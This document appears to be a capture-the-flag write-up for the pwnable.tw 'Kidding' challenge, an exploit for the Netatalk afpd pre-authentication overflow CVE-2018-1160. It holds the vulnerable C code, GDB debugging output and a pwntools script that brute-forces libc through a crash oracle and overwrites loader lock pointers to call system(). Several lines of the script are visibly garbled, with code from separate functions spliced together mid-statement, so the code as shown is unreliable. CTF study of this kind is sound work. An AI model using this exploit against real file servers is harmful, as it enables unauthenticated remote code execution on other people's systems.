Kidding

$ file afpd
afpd: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 2.6.32, BuildID[sha1]=..., not stripped

$ checksec afpd
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

# Local setup with provided Docker/archive
$ tar xzf kidding.tgz
$ cd kidding
$ ./afpd -d -F afp.conf
# -d = debug/foreground mode
# -F = specify config file

# Verify the service is listening
$ netstat -tlnp | grep afpd
tcp  0  0  0.0.0.0:548  0.0.0.0:*  LISTEN  12345/afpd

# Quick test connection
$ nc localhost 548
# (binary AFP protocol — not human-readable)

/* parse options */
void dsi_opensession(DSI *dsi) {
    size_t i = 0;
    /* parse options */
    while (i < dsi->cmdlen) {
        switch (dsi->commands[i++]) {
        case DSIOPT_ATTNQUANT:
            /* VULNERABILITY: memcpy with unchecked length!
             * dsi->commands[i] is a byte (0-255) but &dsi->attn_quantum
             * is only 4 bytes. If length > 4, we overflow into adjacent
             * DSI struct members. */
            memcpy(&dsi->attn_quantum, dsi->commands + i + 1,
                    dsi->commands[i]);             // ← NO BOUNDS CHECK
            dsi->attn_quantum = ntohl(dsi->attn_quantum);
            /* Note: also missing break; falls through to SERVQUANT */

        case DSIOPT_SERVQUANT:
        default:
            i += dsi->commands[i] + 1;
            break;
        }
    }
}

# Start afpd in debug/foreground mode
$ sudo ./afpd -d -F afp.conf

# In another terminal, find parent PID
$ pgrep afpd
4218

# Now connect with our exploit (in another terminal)
$ python3 exploit_local.py &

# The parent forks a child — find the child
$ pgrep -P 4218
4247

# Attach GDB to the child process
$ gdb -p 4247
(gdb) set follow-fork-mode child

# Break before dsi_opensession processes options
(gdb) b dsi_opensession
Breakpoint 1 at 0x55c837a8b5a0

# Before overflow: examine dsi struct fields
(gdb) p *dsi
$1 = {
  attn_quantum = 0,
  datasize = 0,
  server_quantum = 0x1000,
  serverID = 1,
  clientID = 1,
  commands = 0x55c838c56010 "",
  data = ...
}

# Step through the memcpy in DSIOPT_ATTNQUANT handler
(gdb) n
# memcpy completes with our 24-byte payload overflowing

# After overflow: examine corrupted dsi struct
(gdb) p *dsi
$2 = {
  attn_quantum = 0x41414141,       // our data
  datasize = 0x42424242,           // our data
  server_quantum = 0x7f8a12001000, // trial address for oracle
  serverID = 0x1337,
  clientID = 0x1338,
  commands = 0x7f8a123ed8b8 "",    // ← OVERWRITTEN! Points to libc
  data = ...
}

# After we have libc base (from the oracle), find key offsets
(gdb) info proc mappings
0x7f8a11dd6000  0x7f8a11f9e000  ...  /lib/x86-64-linux-gnu/libc-2.23.so

# libc base = 0x7f8a11dd6000

# Verify _dl_rtld_lock_recursive offset in ld.so
(gdb) p &_rtld_global._dl_rtld_lock_recursive
$3 = (void (**)()) 0x7f8a123ed8b8

# Calculate offset: 0x7f8a123ed8b8 - 0x7f8a121db000 (ld base) = 0x2128b8
# _dl_load_lock is nearby:
(gdb) p &_rtld_global._dl_load_lock
$4 = (pthread_mutex_t *) 0x7f8a123ed860

# Verify system() offset
(gdb) p system
$5 = {int (const char *)} 0x7f8a11e2390 <__libc_system>
# system offset = 0x7f8a11e2390 - 0x7f8a11dd6000 = 0x4d90

#!/usr/bin/env python3
"""
pwnable.tw — Kidding (400 pts)
CVE-2018-1160: Netatalk pre-auth RCE via DSI Open Session OOB write.
PIE + Full RELRO variant.

Exploit flow:
  1. Brute-force libc base via crash oracle (forked children share ASLR)
  2. Overflow dsi->commands pointer to gain arbitrary write
  3. Overwrite _dl_rtld_lock_recursive with system()
  4. Overwrite _dl_load_lock with pointer to command string
  5. Trigger exit() → system(cmd) → RCE
"""

from pwn import *
import struct
import sys

context.arch = "amd64"
context.log_level = "warn"

# ─── Configuration ───────────────────────────────────────────
HOST = "chall.pwnable.tw"
PORT = 10304

# Offsets for Ubuntu 16.04 glibc 2.23 (libc-2.23.so)
# Determine these from the provided libc or by leaking
SYSTEM_OFFSET        = 0x45390
DL_RTLD_LOCK_OFF     = 0x3ed8e8   # _dl_rtld_lock_recursive in ld-linux
DL_LOAD_LOCK_OFF     = 0x3ed7c0   # _dl_load_lock in ld-linux
LD_BASE_FROM_LIBC    = 0x208000   # ld base relative to libc base

# ─── DSI Packet Helpers ──────────────────────────────────────
def dsi_header(flag, cmd, req_id, payload_len):
    """Build 16-byte DSI header."""
    hdr  = struct.pack(">BBH", flag, cmd, req_id)   # flag, cmd, req_id
    hdr += struct.pack(">I", 0)                      # data offset
    hdr += struct.pack(">I", payload_len)             # length
    hdr += struct.pack(">I", 0)                      # reserved
    return hdr

def make_dsi_opensession(overflow_data):
    """Craft DSI OpenSession with overflow payload.
    We set option type = DSIOPT_ATTNQUANT (0x01),
    length = len(overflow_data), then the overflow data itself.
    The memcpy will copy overflow_data into &dsi->attn_quantum,
    overflowing into server_quantum, IDs, and commands pointer."""
    option_type = b"\x01"  # DSIOPT_ATTNQUANT
    option_len  = struct.pack("B", len(overflow_data))
    option_data = overflow_data

    dsi_payload = option_type + option_len + option_data
    hdr = dsi_header(0x00, 0x04, 0x0001, len(dsi_payload))
    return hdr + dsi_payload

def make_dsi_afp(afp_payload, req_id=0x0002):
    """Craft DSI packet wrapping an AFP command.
    The AFP payload will be written to dsi->commands."""
    hdr = dsi_header(0x00, 0x02, req_id, len(afp_payload))
    return hdr + afp_payload

# ─── Overflow Data Builder ───────────────────────────────────
def build_overflow(commands_ptr, server_quantum=0):
    """Build the 24-byte overflow that goes into &dsi->attn_quantum.
    Layout:
      [0:4]   attn_quantum   (4 bytes, don't care)
      [4:8]   datasize       (4 bytes, don't care)
      [8:12]  server_quantum (4 bytes, reflected back — oracle)
      [12:16] serverID+clientID (4 bytes, don't care)
      [16:24] *commands      (8 bytes — THE KEY TARGET)
    """
    payload  = struct.pack("commands with a trial address.
    If the address is valid and writable, the next AFP write
    succeeds and the server sends a response. If the address
    is invalid, the child segfaults and we get no response.

    Since libc is page-aligned, the lower 12 bits are 0.
    On Ubuntu 16.04 x86-64, ASLR randomizes bits 12-39
    (28 bits), but the high 2 bytes are always 0x7fXX.
    We brute-force byte by byte starting from the LSB."""

    log.info("Starting ASLR brute-force...")

    # Known: high bytes are typically 0x7f for libc on 64-bit Linux
    known_addr = b"\x00\x00"  # page-aligned lower 2 bytes

    # Brute-force bytes 2, 3, 4 (3 unknown bytes)
    for byte_pos in range(2, 5):
        found = False
        for guess in range(256):
            trial = known_addr + bytes([guess])
            # Pad to 8 bytes for the commands pointer
            trial_addr = trial + b"\x7f\x00\x00"  # high bytes = 0x7fXX_XXXX_XX00
            addr_val = struct.unpack("commands to point to _dl_load_lock area
    # We need to account for AFP command header bytes that get written
    # before our controlled data. The AFP dispatch writes the full
    # command buffer to dsi->commands, so we offset accordingly.
    write_target = load_ptr
    overflow = build_overflow(commands_ptr=write_target)
    r.send(make_dsi_opensession(overflow))

    # Step 2: Craft the AFP payload that overwrites _rtld_global fields
    # Layout at write_target:
    #   _dl_load_lock (pthread_mutex_t, ~40 bytes)
    #   ... gap ...
    #   _dl_rtld_lock_recursive (function pointer, 8 bytes)
    #
    # We write: command string + padding + system() address at lock offset
    cmd_str = b"cat /home/kidding/flag\x00"
    offset_to_lock = DL_RTLD_LOCK_OFF - DL_LOAD_LOCK_OFF

    payload  = cmd_str
    payload += b"\x00" * (offset_to_lock - len(cmd_str))
    payload += struct.pack(" 1 and sys.argv[1] == "remote":
        # Skip brute-force if we already know the address
        # (e.g., from a previous run on the same server session)
        libc_base = int(sys.argv[2], 16)
        log.info(f"Using provided libc base: 0x{libc_base:x}")
    else:
        libc_base = brute_force_libc()

    exploit(libc_base)

if __name__ == "__main__":
    main()